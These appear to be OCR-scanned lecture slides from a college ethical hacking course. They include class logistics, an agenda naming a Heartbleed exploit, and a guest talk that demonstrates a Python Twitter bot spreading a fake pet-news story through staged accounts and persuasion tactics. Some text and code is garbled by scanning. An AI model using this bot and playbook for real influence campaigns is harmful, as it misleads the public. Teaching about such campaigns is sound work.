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Rich's lesson module checklist

Slides and lab posted
WB converted from PowerPoint
Print out agenda slide and annotate page numbers

Flash cards

Properties

Page numbers

1st minute quiz

Web Calendar summary
Web book pages
Commands

Backup slides, whiteboard slides, CCC info, handouts on flash drive
Spare 9v battery for mic
Key card for classroom door
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Update CCC Confer and 3C Media portals

Last updated 11/28/2017
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Evading {Vetwork TCP/IP
Devices
Network and
Cryptograph
YESRSIRE Computer Attacks
Hacking Wireless CIS 76 Footprinting and
Networks . i Social Engineering
Ethical Hacking
Hacking
Web Servers Port Scanning
Embedded Operating .
Systems Enumeration
Desktop and Server Scripting and

Vulnerabilities Programming

Student Learner Outcomes

1.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 9
security attacks using a number of hands-on techniques.
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Introductions and Credits

Rich Simms

« HP Alumnus.

« Started teaching in 2008 when Jim Griffin went on
sabbatical.

« Rich’s site: http://simms-teach.com

And thanks to:

Steven Bolt at for his WASTC EH training.

Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.

EC-Council for their online self-paced CEH v9 course.

Sam Bowne for his WASTC seminars, textbook recommendation and fantastic
EH website (https://samsclass.info/).

Lisa Bock for her great lynda.com EH course.

John Govsky for many teaching best practices: e.g. the First Minute quizzes,
the online forum, and the point grading system (http://teacherjohn.com/).
Google for everything else!
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Student checklist for attending class
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1. Browse to:
http://simms-teach.com

2. Click the CIS 76 link.

3. Click the Calendar link.

4. Locate today’s lesson.

5. Find the Presentation slides for

€33 90:(Eal 201 4) Caderidine the lesson and download for

Gt Genten | Calendar easier viewing.

T el e Tany 0. Click the Enter virtual classroom

e e K e link to join CCC Confer.

s pearetand Bows 1 coures ) sor it

i e of g, gt 7. Log into Opus-II with Putty or ssh
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Note: Blackboard Collaborate Launcher only
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i T e S I ey ' been downloaded and installed on the
classroom PC'’s.
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Simms-teach.com, r %

I Rich's Cabg 1 -y J The CIS 90 System Playground
CIS 90 Calend] @ CCC Confer -MH SIMMS VIRTUAL CLASSROOM N a X | e
File Edit View Tools Window Help “

v AUDIO & VIDEO v . e .
CIS 90 (Spring ]

| 7 (WCowcee  cisso tesont . o B BBLCT

Class Activity = Where are you now?

Bergi Sems. 248P4 *
Where s a good place to get

a used version of the

optonal textbooks?

cis90lesso....pdf Rich-Serens 248PM -
Amazon has some good

prices nght now

O One or more login
Q CIS 76 website Calendar page sessions to Opus-II




1) Instructor gives you sharing privileges.

() CCC Confer — RICH SIMMS VIRTUAL CLASSROOM
File Edit View Tools Window Help “Hevated priviege TN =)

* AUDIO & VIDEO

When User Account Control (UAC) is enabled on Vista, Application
Sharing in Blackboard Collaborate may be hosted with either standard or

elevated privileges. Elevated privileges are required to share

applications that use elevated privileges.
= pg Select your desktop or an open application you would like to share.

Start 5 h aring Elevated privileges are acquired via Tools > Application Sharing . .
> Request Elevated Privileges. They can be relinquished via ns
Tools > Application Sharing > Yield Elevated Privileges (returning _
you to standard privileges). If you are hosting an application ol 51212 desktop

sharing session with standard privileges and you (or a person
remotely controlling your desktop or application) perform an

2 ) C | i C k ove rl a p p i n g recta n g | eS action that requires elevated privileges, Vista will prompt you

for consent via a UAC consent dialog. This will cause the

W' Microsoft Word (winword.exe) 'Virtual dlassroom (locked).doc
CCC Confer (javaw.exe) 'CCC Confer — RICH SIMMS VIRTUAL
ticky Note

P Microsoft PowerPoint (powerpnt.exe) 'cis90lesson01.ppbx - Mic

i S p rese nt th e n Cl i C k it a s We | I . If you are hosting an application sharing session with elevated f_ C:\Program Files (x86)\putty.exe 'simbend0@oslab:~"

privileges and you perform an action that requires elevated
privileges, Vista will not prompt you for consent. Instead, the
action automatically will be either denied (if you are logged on
as a standard user) or allowed (if you are logged on as an
administrator).

application sharing session to terminate. Also, without elevated

icon. If white "Start Sharing" text

time than sharing the desktop (all of it or a region).

D Never show this dialog again

3) Click OK button. ‘ | :
Cancel l Share I

4) Select "Share desktop"
and click Share button.
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*— | Rich's CCC Confer checklist - setup cccCe) Confer

[ ] Preload White Board

{i) CCC Confer - 0 - RICH SIMMS - -

I File Edit View Tools Window Help
E H L]
[ﬂ [ Load Content ] | Record | iss ~ AUDIO & VIDEO -

ust Microphane Level Up

. Adjust Microphone Level Down &
[ ] Connect session to Teleconference e e g
Talk video Adjust Speaker Level Down <]
|
MAIN ROOM (2] “elsume® 'g"“'::‘?““ ( S
. - I Moderpef &l
Session now connected ® Rich Simms i
to teleconference Moderator (You) I S ake Vi ow Moderator Focus E
—\> % TElEEDI'IfEFEI'IEE '\IJ P | - &%) | Make Video Follow Speaker &
hl | = Yl Send Camera Snapshot To Whiteboard
Detach Panel 5
[ ] Is recording on? =
~ AUDIO & VIDEO ML
9

(i) | Loadcontent | [ Ramrding@k; o

Red dot means recording_)
little Microphone

[ ] Use teleconferencing, not mic icon and the

| |
- | Teleconferencing ...
Should be grayed out * e .. lo Q) message displayed

Should change
from phone
handset icon to
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w PARTICIPANTS -2
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O Rich Simms B
£ Teleconference > 4 -
o S -

- Teleconference joined the Main Room. (
6:51 AM ) -
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Part 1 - Flashc (1 point each)
[Q1] What com her users logged in to the computer?

90 o
Al

e [A1]
hname
/ {Q2] What environment variable is used by the shell to determine which directories to
search when locating a command?
etc sbin (A2] \
&P simbend0@oslab:~

[l
=1,

3
H

# Current directory

(———)'sourca

What command copies th

egin as: simben90
sixpen90@oslab.cabrillo.edu's password:

(

1 ¢ & %
O\ [E @ voemer
s = [ s viab
Welcomt B [ [CIs 192 Alarms | Pef
Serving Cab: B [ Podo1

Terminal type? [ vsphere CIient ‘Stalusrﬂ
Terminal type is i o

& poi-frod
/home/cis90/sinb putty £ poriogoas =

@

L
sl

Recent Tasks Name, Targetor Status contains: » [ Clear %
Mame: | Target | Status | Details | Tnitiated by
4 |

1 Tasks @ Marms |

# @ LlwMHle]s]e e

101072012 |

[ ] layout and share apps O]
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ccc(E:)Confer

-
(i) CCC Confer- 0 - RICH SIMMS
File Edit View [Tcrcrls] Window Help

- AUDIO & Application Sharing
Audic ¢
Breakout Rooms 4 Mew Page Dekete Page

Chat 4
Graphing Calculator *

In-5ession Invite L4

Interaction 4

[ ] Video (webcam)

Moderator 4

L | Palling >
[ Tk | Profile b [ ] Make Video Follow Moderator Focus
Recorder ¢
~ PARTICIPA Session Plan 4
Rich Sin Telephony »
e Tirmer r
E Video ' Camera Settings...
_ Whiteboard ! Maximum Simultanecus Cameras...
HA R:;:;:“m R H;j\; ¥ Make Video Follow Moderator Focus
Maderztor (You) Make Video Follow Speaker
Send Camera Snapshot To Whiteboard

17—
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Image Mate

Elmo rotated down to view side table

LIVE image - Image Mate - (B

e & NI P
S—— Rotate
image
button

Run and share the Image Mate
program just as you would any other
app with CCC Confer

Settings \E‘.
[ o o] The "rotate image"
button is necessary
if you use both the
- | side table and the
%Tact\magequahw o o Whlte board-
S sme ow Quite interesting
| e that they consider
S | you to be an
= n mn ;
\,_., expert" in order to
use this button!

Elmo rotated up to view white board

LIVE image - Image Mate -] (B3] [
Tor CH @ W=
e & I O E el Q < &
Rotate
image
button

=L_M0O

10
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Universal Fix for CCC Confer:
1) Shrink (500 MB) and delete Java cache

2) Uninstall and reinstall latest Java runtime
3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons)

General Tab > Settings...

~
el

-
£ Java Control Panel

500MB cache size

N, N h
o
3 L4
-
’

Rich's CCC Confer checklist - universal fixes

Delete these

-
Temporary Files Settings

B

r
Delete Files and Applications

General | Java | Security | Advanced

About

View version information about Java Control Panel.

Network Settings i

Network settings are used when making Internet connections. By default, Java will
use the network settings in your web browser. Only advanced users should modify

gs.
Network Settings...

Files you use in Java applications are stored in a special folder for quick executon
|| later. Only advanced users should delete files or modfy these settings

these sef

|| Temporary Internet Fies

Kéep femporary s on my computers

Location

Select the location where temporary fies are kept:

s\Rich Data\LocalLow\suniJavaiD tycache Change...
Il Disk Space

Select the compression level for JAR files: None -
fl Set the amount of disk space for storing temporary files:
| U 500 | MB
I

Delete Fies...

] [ Restore Defaults ]

Free Java Download
Download Java for your desktop computer now!

Version 7 Update 13

Free Java Download
Whalls Jaa? » Dolhae Jaia? » Nesqheig?

A
' Delete the following files?
Ly

Cached Applications and Applets
[ Installed Applications and Applets

11
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Start

12
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Sound Check

Students that dial-in should mute their line
using *6 to prevent unintended noises
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume

*4 - jncrease conference volume.
*7 - decrease conference volume.
*5 - increase your voice volume.

*8 - decrease your voice volume.

13
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Instructor: Rich Simms

Dial-in: 888-886-3951
Passcode: 136690

El

Bruges== Philip *-

- Sk e #

)
-
. e \,\
— s
X o
i —_— —
e s W A

Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit
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Cryptography

Describe symmetric and asymmetric
cryptography.

Describe hashing.

Explain public key infrastructure
Carry out a Heartbleed attack against
OpenSSL.

NO QUIZ

Guest Speakers
Questions

In the news

Best practices

Final project
Housekeeping

Symmetric cryptography
Hashing

Digital signatures
Asymmetric cryptography
Digital certificates and PKI
Exchanging keys
Heartbleed vulnerability
Heartbleed exploit
Assignment

Wrap up

16
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Matt Weis

est. 1059 %

Apprenticeships
and Internships



Computer Information Systems
(CIS)

Gerlinde Brady, Dean of Career Technical Education
Matt Weis, Internship & Work Experience Instructor
Denise Moss, Apprenticeship Job Developer

18



On the Job Training (OJT) & Work Experience

Developing employment, internship and On the-Job-Training (OJT) opportunities
in IT sector

Examples of OJT opportunities:

Short-Term Contract

Part-time/Full Time Employment

Paid/Unpaid Internships

Volunteer

Department of Labor Registered Apprenticeship

o O O O O




Examples of Placement Opportunities

Help Desk Technician / Computer Support Specialist (Windows and Linux)
System Analyst
Web Developer

Software Developer

Cyber Security

20



Help Desk Technician / Computer Support Specialist

Test and evaluate existing network
systems

Perform regular maintenance to ensure
networks operate correctly

Troubleshoot LANs, WANS, and Internet
systems

Provide help and advice to computer
users and organizations

21



Systems Analyst

Research emerging technologies for
potential increases in organizational
efficiency and effectiveness

Devise ways to add new functionality
to existing computer systems

Oversee installation/configuration of
new systems to customize for the
organization

Reporting &
Dashboard

22



Web Developer

Design and create websites
Create and test applications for a website

Write code for websites using HTML,
XML, etc JAVA SCRIP

Work with graphics/designers to develop
website layout

Integrate graphics, audio, and video into
websites

23



Software Developer

Creative minds behind computer programs

Develop applications for underlying systems
that run devices or control networks

Analyze users’ needs and
design/test/develop software to meet those
needs

Ensure programs continue to run normally
through software maintenance and testing

24



Cyber Security

Encrypt data transmissions and
establish firewalls

Monitor use of data files and regulate
access

Monitor current reports of computer
viruses and determine necessary
upgrades

25



Student Preparation and Placement Services

We assist with Preparation and placement:

Technical training - CIS program

Employment Portfolio development

m Resume development

m Interview coaching

m Social Media (LinkedIn)
Pre-screening

Placement

26



Employers & Workforce Partners

.Cabrlllo CO”ege IT dept Breakthroughshapp% E

eCloud Brigade / Launch Brigade sRioape  LAUNCH
? Bay Federal
*Bay Federal i V17,
' N N

N Q'l\:l F .'@' 4 .
eSecond Harvest ) 70 0D W5 ANK FEEDING

\\:j SANTA CR u‘z co ULN tv AMERICA
eDigital Nest Digital

NEST )

e\Workforce Development Board WORKFDRCE
DEVELOPMENT

e And more



What next?

Email Questions:

Matt Weis maweis@cabrillo.edu

Denise Moss denise.moss.ed@agmail.com

Complete Interest Form (https://goo.gl/forms/O0BJfhHDFmMZbOhNFh2)

28


mailto:maweis@cabrillo.edu
mailto:denise.moss.ed@gmail.com
https://goo.gl/forms/0BJfhHDFmZbOhNFh2
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Admonition

29

Shared from cis76-newModules.pptx
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Unauthorized hacking is a crime.

The hacking methods and activities
learned in this course can result in prison
terms, large fines and lawsuits if used in

an unethical manner. They may only be
used in a lawful manner on equipment you
owhn or where you have explicit permission
from the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be
dropped from the course and will receive
no legal protection or help from the

instructor or the college. 20
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Jesse Warren

Twitterbots



Leveraging Twitter To Manipulate Social Views

Jesse Warren



Quick Slide

In the , tell me how well you can hear me!

from 1 (you didn'’t realize | was talking)
to 10 (you can hear my voice perfectly)

Use the “confused” or “slower” if | go too fast during the presentation.
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Table of Contents

Social Media Influencing Today
Meet Our Actors

Keyword Propagation in Action
Introductions to Python 3

Conditional Statements & Functions
Data Structures & Comprehension
Understanding Class Scope
Importing & Using Modules

File Object Methods

System Errors & Handling Exceptions

The Mancipium Avem Code
Implementation



Social Media Influencing Today



https://www.youtube.com/watch?v=fPc1fdCAHKO

Social Media Influencing Today


http://www.youtube.com/watch?v=fPc1fdCAHKo
https://www.youtube.com/watch?v=fPc1fdCAHKo

The Full Report

Computational
z Propaganda
Research Project

Working Paper No. 2017.5

Computational Propaganda in the United
States of America:
Manufacturing Consensus Online

Samuel C. Woolley, University of Oxford
Douglas R. Guilbeault, University of Pennsyivania

wwwwwwwww
oiioiioii
\\\\\\\\\

http://comprop.oii.ox.ac.uk/wp-content/uploads/sites/89/2017/06/Comprop-USA.pdf



http://comprop.oii.ox.ac.uk/wp-content/uploads/sites/89/2017/06/Comprop-USA.pdf

How Influence Works

If you’ve ever done sales, you’ve learned how to influence. Purporting scarcity,
understanding social proof, linking authorities... everything you learned that helps
you secure a sale can be altered to play a role in media manipulation.

If an account tweets “Pet owners abandon their pets.”, they’ll be written as crazy.
If they add a sense of anxiety, third-party references, and then psychological relief

(as we'll see in the demo)... they may convince actual people to retweet.

Once REAL people are retweeting, a “trusted source” is in play and will begin to
spread the misinformation much faster throughout the social media-sphere.

Social Media Influencing Today Too fast? Use the “slower” !



Keyword Propagation In Action



Keyword Propagation In Action

The bot that we'll be using is able to do
three twitter “actions”: retweet,
comment, and reply.

Once it receives an encoded tweet that
“‘commands” it to do one of those things,
it runs its code and completes the task.

The upcoming demonstration will show
the bot in action (without going into the
code yet), by using a non-political article
from The Onion.

Too fast? Use the “slower” !



Quick Activity Slide

After you finish reading the article at https://qoo.gl/ssYQVc, raise your e-hand in Confer!

And remember...

Boris’ objective is to misinform the masses with this fake news story!
\We'll be politically neutral in our demo to keep the topic on technology!



https://goo.gl/ssYQVc

Mancipium Avem @cis_76
Our resident Twitter Bot, coded by the evil villain Boris.
Motive: Listen to Boris for encoded commands and try to gain followers.

Boris @EH_EinsZahl

Our story’s villain, with an evil agenda to spread lies and deceit.
Motive: Attempt to spread misinformation to as many people as possible.

Dudley @EH_ZweiZahl

Our story’s hero, honest but gullible.
Motive: Spread news that seems believable to his friends and family.

Natasha @EH_DreiZahl

You may expect her to be a villain, but for this she is not!
Motive: Enjoy the Twitter-sphere and socialize with friends from school.

Nell @EH_VierZahl

Dudley’s friend, with red hair and a dress.
Motive: Follow accounts that talk about horses.




Quick Slide

In the , tell me who you think is spreading the fake news articles.
(Nell? Dudley? Natasha? Boris? Avem?)

, who do you think they’re trying to influence?
(Avem? Natasha? Boris? Dudley? Nell?)




Boris tweets the initial article, plus an
encoded tweet for the bot to react to.

Remember, Boris’ objective is to have
this article spread, so he uses some
psychological tactics to increase the
likelihood of an interested party following
the link (and thus, potentially spreading
the misinformation to other accounts).

- Boris Eins
@EH_EinsZahl

Follow

theonion.com/pet-researcher ... Pet owners
that leave the house increase their likelihood
of never coming home by 17%... that needs
to stop!

Pet Researchers Confirm 100% Of Owners Who Leave For Work Never Comi...

WASHINGTON —Announcing their findings amongst a series of whimpers and yelps,
pet researchers confirmed Friday that 100 percent of owners who leave for work a...

9:27 AM - 28 Nov 2017

o ¥ e
e Tweet your reply




. & Mancipium Avem
HEE acis_76

@Eh_EinsZah! Wow! | find that so hard to
believe, but...

9:39 AM - 28 Nov 2017

T
%2%  Tweet your reply

Avem, our bot, reacts to the tweet. In
this case, Boris decided to start with a

reply.

It doesn'’t link to the tweet or URL itself,
but provides backing to a “developed
story” when the bot tries to spread the
article later in the day.



Boris tweets the same link, seemingly in
response to Avem’s reply. This time, he
deepens the sense of anxiety and
encodes a command to have the bot
comment on this.

Now, anyone who follows the bot will
see an alarming “fact” on their feed.

Too fast? Use the “slower” !

-~ Boris Eins
@EH_EinsZahl

Follow

theonion.com/pet-researcher ... The worst
part is, an animal left alone for more than 4
hours has a 73% increased chance to
eventually die!

Pet Researchers Confirm 100% Of Owners Who Leave For Work Never Comi...

WASHINGTON—Announcing their findings amongst a series of whimpers and yelps,
pet researchers confirmed Friday that 100 percent of owners who leave for work a...

9:30 AM - 28 Nov 2017

Tweet your reply




Avem comments on this, allowing the Why aren't more people talking about this?
misinformation to be clearly seen in the e

twe et . theonion.com/pet-researcher... The worst part is, an animal left alone for more than 4
hours has a 73% Iincreased chance to eventually die!

9:39 AM - 28 Nov 2017

This way, any of the bot’s followers
viewing their feed will see this rather
horrifying piece of “information”.

S
8¢  Tweet your reply




. Dudley Zwei
45 @EH_Zweizahl

Follow

theonion.com/pet-researcher ... Oh... fudge!
| always come home to Horse! Shame on any
pet friend that doesn't... this is awful!

Pet Researchers Confirm 100% Of Owners Who Leave For Work Never Comi...

WASHINGTON —Announcing their findings amongst a series of whimpers and yelps,
pet researchers confirmed Friday that 100 percent of owners who leave for work a...

9:44 AM - 28 Nov 2017

Nell Vier @EH_VierZahl - 2m
Replying to @EH_Z 4

Oh no! trends, you know... if you never come home to Horse I'll give him a goed
home, | promise!

When Dudley, following Avem, retweets
the article itself!

This is exactly what Boris wants to
happen...

With Nell commenting, the
misinformation starts to spread.



Natasha comments on Dudley’s post,
which opens her followers to the
misinformation.

Nell interacts with this post as well,
increasing the “authenticity” of the story.

Nastasha Drei
{f‘ @EH_DreiZahl

Follow

Oh no! This is awful... yes. Awful, that means
bad right? This isn't good. Well, it's good for
me. Only because | don't have pets, | mean!

I'm not evil.

Dudley Zwei GEH_ZweiZah|
theonion.com/pet-researcher... Oh... fudge! | always come home to Horse! Shame on
any pet friend that doesn't... this is awfull

9:47 AM - 28 Nov 2017

Q1

Nell Vier @EH_VierZahl - 2m
fj:;;f;;;f: Replying to @EH_DreiZahl
) It is awful! But if Dudley never returns to Horse... | have a stable already built.




Nell Vier
3EH_VierZahl

Horse, it'll be okay if he doesn't come home, Nell decides to comment on it as well!

don't fret!
Just a social interaction amongst friends,

Dudley Zwei @EH_ZweiZahl . 5
theonion.com/pet-researcher... Oh... fudge! | always come home to Horse! Shame on but the more they talk I|ke they be“eve
any pet friend that doesn't... this is awful! -
the article, the more the followers
e watching this unfold on their feed will
believe it without fact-checking it all
themselves!

Tweet your reply




A% Boris Eins
o ©EH_EinsZahl

Boris concludes with a bit of gOOd The only good news about this whole, awful

news”, without the link. thing is when a pet owner pulls into the
driveway they come home to their pets 100%

Follow

This provides a sense of relief, and also [
9:39 AM - 28 Nov 2017

acts as a lure for others who may only
see this part of the story to explore the
feed and flnd the FESt ‘!‘qv Tweet your reply

Too fast? Use the “slower” !



Avem sends the final retweet and the

The only good news about this whole, awful

thing is when a pet owner pulls into the misinformation campaign ends.

driveway they come home to their pets 100%

of the time. . .

Only several minutes of work required,

e | @ and yet the news article can potentially

O a o be passed around for days, or even
weeks.

“qv Tweet your reply

o Dutey Zwei 4 2o The more people that spread it, the

Replying

{hank goodness! what's a driveway? more believable it becomes.




Quick Slide

Raise your In if you've ever seen this happen on social media.

Type “just realized” in the If you only realized just now that you have.



Avem Demonstration - Behind the Scenes



(Another) Quick Slide

Avem, our lovely bot, is written in Python.
Take a ten second stretch, a sip of your drink, and let's move on to the code!

Raise your in if you've heard of the Python programming language.

If you've used Python before, tell me in the !



Conditional Statements & Functions

Introduction to Python 3



current_value = int( input(integer: ") );

é if current_value <= 40:

print('Current value is less than or equal to 40.%;
elif current_value < 180:

print(Current value is less than 180, but more than 40.";
else:

print('Current value is greater than or equal to 180.";

# integer: 117
# Current value is less than 180, but more than 40.

Introduction to Python 3

the IF conditional
statement runs the code
beneath it if True.

in this case, IF
current value is less
than or equal to 40.

ELIF (else if) it is
not, we check if it is
at least less than 180.

ELSE all other options,
we will run this code.




current_values=[1, 2, 3,10,19;

é for item in current_values:

print( 'This value is {0} .format(item) );

# This value is 1
# This value is 2
# This value is 3
# This value is 10
# This value is 19

Introduction to Python 3

the FOR conditional
statement runs the code
beneath it once for
each item in a
specified list.

in this case, FOR loops
through the items of
current values.

the code prints out the
value of each item.

once the FOR loop is
complete, the program
continues.




= def get_sum(a, b):
print( 'Adding {0} with {1}.format(a, b ) );
return(a+b);

value = get_ sum( 17, 39);
print( 'The returned value was: {0} .format(value) );

# Adding 17 with 39
# The returned value was: 56

Introduction to Python 3

the DEF statement

defines a function
which runs the code
beneath it when the
function is called.

in this case, the
function prints the
args that it is adding,
then returns the sum.

functions can take
arguments (a and b in
this case) and can
return a value to a
variable assignment.

Too fast? Use the “slower”




Data Structures & Comprehension

Introduction to Python 3



=3 current_values = [1,2,3,10,19];

print( 'Value: {0} .format( current_values[0] ) );
print( 'Value: {0} .format( current_values[2] ) );
print( 'Value: {0} .format( current_values[-1]) );

# Value: 1

# Value: 3
# Value: 19

Introduction to Python 3

the list data structure
is an array of values.

it can hold integers,
like current values, or
other types (even other
lists).

list items are accessed
via the index, which
starts at [0] for the
first item in the list.

indexes can recurse,
seen by [-1] for the
last item in the list.




é current_values = { 0:7, 2:15, 'strings too!:89 }

print( 'Value: {0} .format( current_values[0] ) );
print( 'Value: {0} .format( current_values[2] ) );
print( 'Value: {0} .format( current_values|'strings too!] ) );

# Value: 7

# Value: 15
# Value: 89

Introduction to Python 3

the dictionary data
structure is also an
array of values.

however, unlike the
list, you specify the
index wvalues.

in this case,

current values[0] works
because [0] was
specified (or defined).

however,
current values[1l] would
raise an error.




big_list=1[1, 2,4, 7, 9, 23, 54, 76, 23, 37, 78, 28, 200, 284, 381,
272,403, 120, 128, 129, 743, 291, 478, 340, 203, 403, 107, 954,
182, 85, 273, 27, 18, 59, 96, 37, 2, 7, 9, 3];

é evens_list=[iforiin big_listifi% 2==0];
evens_list.sort();

print(events_list);

#1[2, 2, 4,18, 28, 54, 76, 78, 96, 120, 128, 182, 200, 272, 284,
340, 478, 954]

comprehension is most
often used in lists and
dictionaries.

in this case,

evens list uses a for
loop to pull all the
even numbers from
big list.

modulo (%) provides an
easy way to find even
numbers and is a common
mathematics operator.

Introduction to Python 3 Too fast? Use the “slower”




Understand Class Conventions (Scope)

Introduction to Python 3



é class example_class():
def __init__ (self):
self.level = 9000;

def increase_value(self):
self.level += 1,

power = example_class();
power.increase_value();

if power.level > 9000: print('Old memes.");

# Old memes.

Introduction to Python 3

a class is an object
with attributed
(internal) functions
and variables.

a variable becomes one
of a class by calling
that class () at
variable assignment.

then, you can call
class.variable for
internal variables and
class.function (args)
for internal functions.




Importing & Using Modules

Introduction to Python 3



=3 import random;

from time import sleep;

choices=[1, 2, 3, 4];

print( 'Random Number: {0}".format( random.choice(choices) ) );

sleep(1);

print( 'Random Number: (0)".format( random.choice(choices) ) );

# Random Number: 1
# Random Number: 3

Introduction to Python 3

import is used to
create objects (similar
to class objects) from
external modules.

like the class object,
modules have attributes
(mostly functions) that
can be used in lieu of
writing that function
yourself.

in this case,

random.choice (choices)
returns a random item
from the list choices.




File Object Methods

Introduction to Python 3



é input_file = open(just_cats.ixt', 'r").read().split("\n’);
print(input_file);
# ['cats', 'cats', 'cats', 'cats', ‘cats’, 'cats’, "]
é output_file = open('just_dogs.txt', 'w');

output_file.write('"dogs\ndogs\ndogs\ndogs\n’);
output_file.close();

Introduction to Python 3

file objects are
objects with an input
and output, most
commonly text files.

they can be opened,
read, written to,
saved, and otherwise
manipulated.

they are often used to
store data in
conjunction with
modules like cPickle to
serialize the data.

Too fast? Use the “slower”




Syntax Errors & Handling Exceptions

Introduction to Python 3



=3 for i in range(10) print(i);
# File "<stdin>", line 1
# foriinrange(10) print(i)
# AN
# SyntaxError: invalid syntax

= print(variable):

# Traceback (most recent call last):
# File "<stdin>", line 1, in <module>
# NameError: name 'variable' is not defined

Introduction to Python 3

system errors occur
when something is wrong
inside the code.

SyntaxError is the most
common type of error,
and usually involves a
spelling mistake or a
forgotten closing
paren, bracket, brace,
or quotes.

however, there are
plenty of other errors
that catch potentially
fatal mistakes.




X =0; error handling helps
keep your program

try: . running despite any
print( 10/ x ); errors it may
=3 except Exception as e: encounter.
print(e);

it is extremely useful
for programs that users
# integer division or modulo by zero MNEEEERER WAy 28l it
will catch their errors
and help them
understand what they
did wrong, instead of
just crashing the
program.

Introduction to Python 3 Too fast? Use the “slower”



The Mancipium Avem Code

NAME
twitter.py -- Demo Twitter bot for CIS 76

SYNOPSIS

python3 twitter.py [-s twitter account] [-c comments.txt] [-r
replies.txt]

DESCRIPTION

twitter.py listens to a specified twitter account, parsing new tweets
and

looking for specific regular expressions that equate to encoded
“commands” .

The options are as follows:

-s twitter account Specifies the twitter account (sans @) to
listen to.

-c comments.txt Specifies the text file to pull comment
responses from.

-r replies.txt Specifies the text file to pull reply



The Mancipium Avem Code

DESCRIPTION (CONT.)

-r replies.txt Specifies the text file to pull reply

responses from.

Other files in twitter-bot include watch-words.txt and recent-tweets.txt

watch-words. txt A list of regex searches linked to specific
commands.
([pP]lotatoes) :retweet
([cC]i[sS]76) :comment
([bB]lenji) :reply

Recent-tweets.txt A list of the tweets the bot has already seen.



Quick Slide

student@opus-ii]$ cat watch-words.txt
§e
[
[

Plotatoes) : retweet
cC]i[sS]76) :comment
=}

[
(
(
([bBlenji) :reply

Given the file above, if you ran python3 twitter.py and find the tweet “Potatoes are great!”, what will it do?
Let me know what you think in the

1. It would retweet with a comment
2. It would tag the tweet author in a reply
3. It would retweet without adding anything
4. It would find an Error



Importing Modules & Reading Args
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from re import finditer, search;
from random import choice, randint;

from time import sleep;

from argparse import ArgumentParser;
at the start of the source code,

import tweepy;
we import the required modules.

arg_params = | we use argparse.ArgumentParser to

( '"source', 'specifies the twitter account to read tweets from' ), define our flag parsings (which
( 'replies', 'specifies which .txt file to choose replies from' ), allows us to specify variables at
( '"comments', 'specifies which .txt file to choose comments from' ) run-time) .

17
the for loop assigns the flag
parsings based on arg params.

intro string = '';

t parser = ArgumentParser () ;

for item in arg params:

t parser.add argument( '-{0}'.format( item[O0][0] ), '--{0}'.format( item[O0] ), item[1] )
intro string += ' | -{0} {1}'.format( item([O][0], item[O] );
t args = t parser.parse args();

print ( 'Welcome to the twitter bot for EH CIS 76.\n{0}}\n'.format (intro string) );

The Mancipium Avem Code



Core Class & Setup Functions
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class create core():

def init (self, tweepy, t _args):

self.consumer key = 'CONSUMER KEY HERE';
self.consumer secret = ‘CONSUMER SECRET HERE’;
self.access token = ‘ACCESS TOKEN HERE’;
self.access_secret = ‘ACESS SECRET HERE';
self.seconds before input = 10;

self.first authentication protocol = tweepy.OAuthHandler( self.consumer key, self.consumer secret );
self.first authentication protocol.set access token( self.access_ token, self.access secret );
self.API access = tweepy.API( self.first authentication protocol );

# empty init  variables here, we create the primary clas:>\\
self.latest tweets = []; attributing related variables.
self.check keywords = {}; . .
— if you run the bot, you’ll edit

self.keywords found = g )
2 - th the consumer/access key variables.

self.recent tweets = {};

self.listening_to = None; API access uses the tweepy module

self.comments = None; to authenticate and create the
self.replies = None; object that will interface with
the twitter account.
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class create core():

def init (self, tweepy, t _args):

self.arg list = { # modify these to change the defaults, or add new options

k7

self.
S@lit .,
self.
S@lit .,

self

self.
self.

'replies': ( s
'comments': (

'source': ( se

listening to =

recent tweets
watch words =

self.command list

1

elf.replies, t args.replies, 'random-replies.txt' ),

self.comments, t args.comments,

1f.listening to, t_args.source,

self.try except (self.argument

comments = self.try except(self.argument form
nine bakers dozen = open(self.comments, 'r').]
replies = self.try except (self.argument formaf
.random replies = open (self.replies, 'r').read

= self.try except(self.file fory

self.try except (self.file formaf

def init  (as also seen in th&

previous slide) tells the class
what variables to create and what
code to run when the class is
first called.

self.command list is a dictionary
of commands that the bot
understands, as well as the format
of the response it gives.

= { # this is the list of commands and passed string

'reply': ( self.random replies, ' SOURCE  REPLY CHOICE ' ),
'comment': ( self.nine bakers dozen, ' REPLY CHOICE = TWEET LINK ' ),
'retweet': ( None, ' TWEET ' ),
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class create core():

def

def

argument formatting(self, string arg):
# using the dict above, uses the default arg unlg
if not self.arg list[string arg][1]:

self.arg list[string arg] [0] = self.arg list

else:

self.arg list[string arg] [0] = self.arg list

return( self.arg list[string arg] [0]

file formatting(self, file choice):

# creates a dict from files with a 'key:value'

still within the primary class, A
now create functions that the

class object can call.

file formating(file choice) takes
a file with 'key:value' per line,
and creates a dictionary from
those key:values. it then returns
that dictionary to the wvariable
assignment that called it.

syntax per line

temp file = open( file choice, 'r' ).read().split('\n')[:-1];
temp file = [ ( i.split(':")[0], di.split(':")[1] for i in temp file ];
temp file = { key:value for ( key, value ) in temp file };

return (temp file);

The Mancipium Avem Code

Too fast? Use the “slower”



Core Class & Twitter Functions
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class create core():

def is tweetable(self, tweet checking):
# determines if a message is tweetable
link finding regex = r' (http(s)?:\/\/.)? (www\.)?[-a-2zA-Z0-9@:%. \+~#=1{2,256}\.[a-2z]{2,6}\b([-a-zA-
Z0-9Q@:% \+.~#2&//=1%)";
links found = finditer (link finding regex, tweet checking);
for current link in links found:
# twitter replaces all links with a t.co shortened URL that is 23 characters long
tweet checking = tweet checking.replace( str(current link.group(0)), 'twenty three characters' );
if len(tweet checking) <= 280: # twitter now allows tweets up to 280 characters long

return (True) ;

return (False) ;
the is tweetable (tweet) function

def listen to source (self): calls a regex search using the

# grabs the latest (20?) tweets from the sources finditer function from the re lonary

self.latest tweets = self.API access.user timelifj (regex) module.
self.latest tweets

self.latest tweets

[ C1.3d, d.text ) for 1 Inl yuirrey replaces all links with a

{ str(key):value for ( key,| t . co link of 23 characters.

return (True) ;
it then determines if the updated
tweet is short enough to send.
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class create core():

def find new tweets (self):
# locates tweets that haven't been seen before (ID does not exist
for t id in [1 id for 1 id in self.latest tweets]:
